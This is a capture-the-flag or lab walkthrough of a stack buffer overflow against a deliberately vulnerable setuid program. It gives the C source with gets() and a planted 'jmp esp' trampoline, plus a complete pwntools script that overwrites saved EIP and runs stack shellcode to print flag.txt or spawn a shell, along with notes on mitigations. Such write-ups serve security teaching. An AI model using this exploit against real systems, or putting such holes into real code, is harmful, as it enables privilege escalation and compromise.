Overview
This attack injects and executes custom shellcode on the stack by exploiting a stack-based buffer overflow and a deliberate trampoline instruction (
jmp %esp) present in the target binary. The payload pivots execution to attacker-controlled bytes atESPand runs shellcode to read and printflag.txt.
Shellcode Injection Attack (x86, jmp esp trampoline)
Target Summary and Vulnerability
#include <stdio.h>
int secret_function() {
asm("jmp %esp");
}
void receive_feedback()
{
char buffer[64];
puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
gets(buffer);
}
int main()
{
setuid(0);
setgid(0);
receive_feedback();
return 0;
}- Vulnerability:
gets(buffer)copies unbounded input into a 64-byte stack buffer → classic stack buffer overflow. - Trampoline:
secret_function()embeds ajmp %espinstruction in.text, giving a reliable pivot to the stack (where our shellcode lives). - Privilege context:
setuid(0); setgid(0);before input; a shell/command executed by our shellcode inherits elevated privileges (important in real targets). - Exploit preconditions typically required for direct shellcode-on-stack:
- NX/DEP disabled (stack executable) OR you must arrange an RWX region first (not done here).
- PIE disabled (or otherwise know the absolute address of
jmp %esp); here we search the opcode inside the loaded ELF. - No stack canary (or a way to bypass it).
High-level Attack Plan
- Overflow the 64-byte buffer with padding until the saved EIP overwrite.
- Overwrite saved EIP with the address of a
jmp %espinstruction in the binary. - Place a small NOP sled and then shellcode immediately after the saved EIP on the stack.
- When the function returns, execution lands at
jmp %esp→ jumps toESP→ hits our NOPs → executes our shellcode.
Script Walkthrough
1) Environment and Launcher
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''
exe = './server'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()start()toggles local/GDB/remote without code changes.ELF(exe)enables symbol lookups and byte-pattern searches in the binary.checksec=Falseskips security checks; useelf.checksec()during analysis if needed.
2) Control Offset (padding)
padding = 76- Number of bytes to reach the saved EIP (buffer + saved EBP).
- In practice, obtain this with a cyclic pattern (
cyclic/cyclic_find); here it’s precomputed and hardcoded as 76.
3) Locate the jmp %esp Gadget inside the Binary
jmp_esp = asm('jmp esp') # assemble opcode bytes for x86
jmp_esp = next(elf.search(jmp_esp)) # find its address in .text- Assembles the machine bytes for
jmp espand searches the ELF for the first occurrence. - Because the binary explicitly contains that instruction in
secret_function(), this is a stable target address. - Using the ELF’s own bytes avoids relying on external module addresses or ASLR-sensitive locations.
4) Build the Shellcode
shellcode = asm(shellcraft.cat('flag.txt')) # read/print flag
# shellcode = asm(shellcraft.sh()) # alternative: interactive shell
shellcode += asm(shellcraft.exit()) # clean exit- Pwntools
shellcraftemits compact, position-independent x86 shellcode. cat('flag.txt')is deterministic and avoids TTY issues common withsh.- Appending
exit()prevents crashing after completion (optional but tidy).
5) Construct the Final Payload
payload = flat(
asm('nop') * padding, # fill up to saved EIP
jmp_esp, # overwrite saved EIP with address of jmp esp
asm('nop') * 16, # small NOP sled after redirect
shellcode # our code lives at ESP after jmp
)-
Layout (little-endian packing handled by
flat()):[ 76 x NOPs ] [ EIP = &jmp_esp ] [ 16 x NOPs ] [ shellcode ... ] ^ saved EIP -
On function return, EIP =
&jmp esp→ CPU executesjmp esp→ lands at start of the post-EIP NOP sled → slides into shellcode. -
The post-EIP NOP sled provides landing tolerance if ESP isn’t exactly where expected.
6) Delivery and Interaction
write("payload", payload) # artifact for debugging/replay
io.sendlineafter(b':', payload) # sync on prompt, then send
io.interactive() # receive flag / interact with shellsendlineafterensures the program is ready to accept input.interactivekeeps the session open to capture output or interact with a spawned shell.
Memory and Control-flow Diagram (simplified)
Stack just before returning from receive_feedback():
... [local buffer 64B] [saved EBP] [saved EIP] [next stack bytes...]
^ ^
| |
| +-- overwritten with &jmp_esp (in .text)
|
+-- padding fills from buffer start up to saved EIP
[next bytes after saved EIP on stack]:
[ NOP sled ] [ shellcode ... ]Return → EIP = &jmp_esp → CPU executes jmp esp → ESP points to [ NOP sled ][ shellcode ] → shellcode runs.
Practical Considerations
- Checksec / Mitigations
- NX (DEP): Must be disabled for direct stack execution. If NX is on, use a ROP stage to
mprotect/mmapRX pages or jump to RWX segment. - PIE: If enabled,
&jmp_espwill be randomized. Here, the script searches at runtime in the loaded image, which still works locally under typical ASLR if PIE is off. For remote, ensure determinism or leak a code pointer first. - Canary: If present, you must bypass or leak it before overwriting saved EIP.
- NX (DEP): Must be disabled for direct stack execution. If NX is on, use a ROP stage to
- Reliability
- Keep a modest NOP sled after the EIP overwrite; too short leaves little margin, too long may affect offsets in other scenarios.
- Prefer
cat('flag.txt')over a full shell for CI-friendly solves; swap toshellcraft.sh()for interactive engagement.
- Debug workflow
- Use GDB (
--GDB) to verifypadding, inspectESPat crash, confirm that&jmp_espis correct, and step through the trampoline into shellcode.
- Use GDB (
Key Takeaways
- Trampoline-assisted shellcode execution: Leverages a built-in
jmp %espto pivot cleanly into stack-resident shellcode. - Precise control offset: Correct
paddingis crucial to place thejmp espoverwrite at saved EIP. - Self-contained payload: NOP sled + shellcode placed immediately after EIP overwrite provides robust redirection and execution.
- Mitigation awareness: Works as-is when NX is off and PIE is off; otherwise adapt with a ROP prelude (e.g.,
mprotect) or pointer leaks.
Resources
| Link | Description |
|---|---|
| 1.17 - Ret2libc Attack |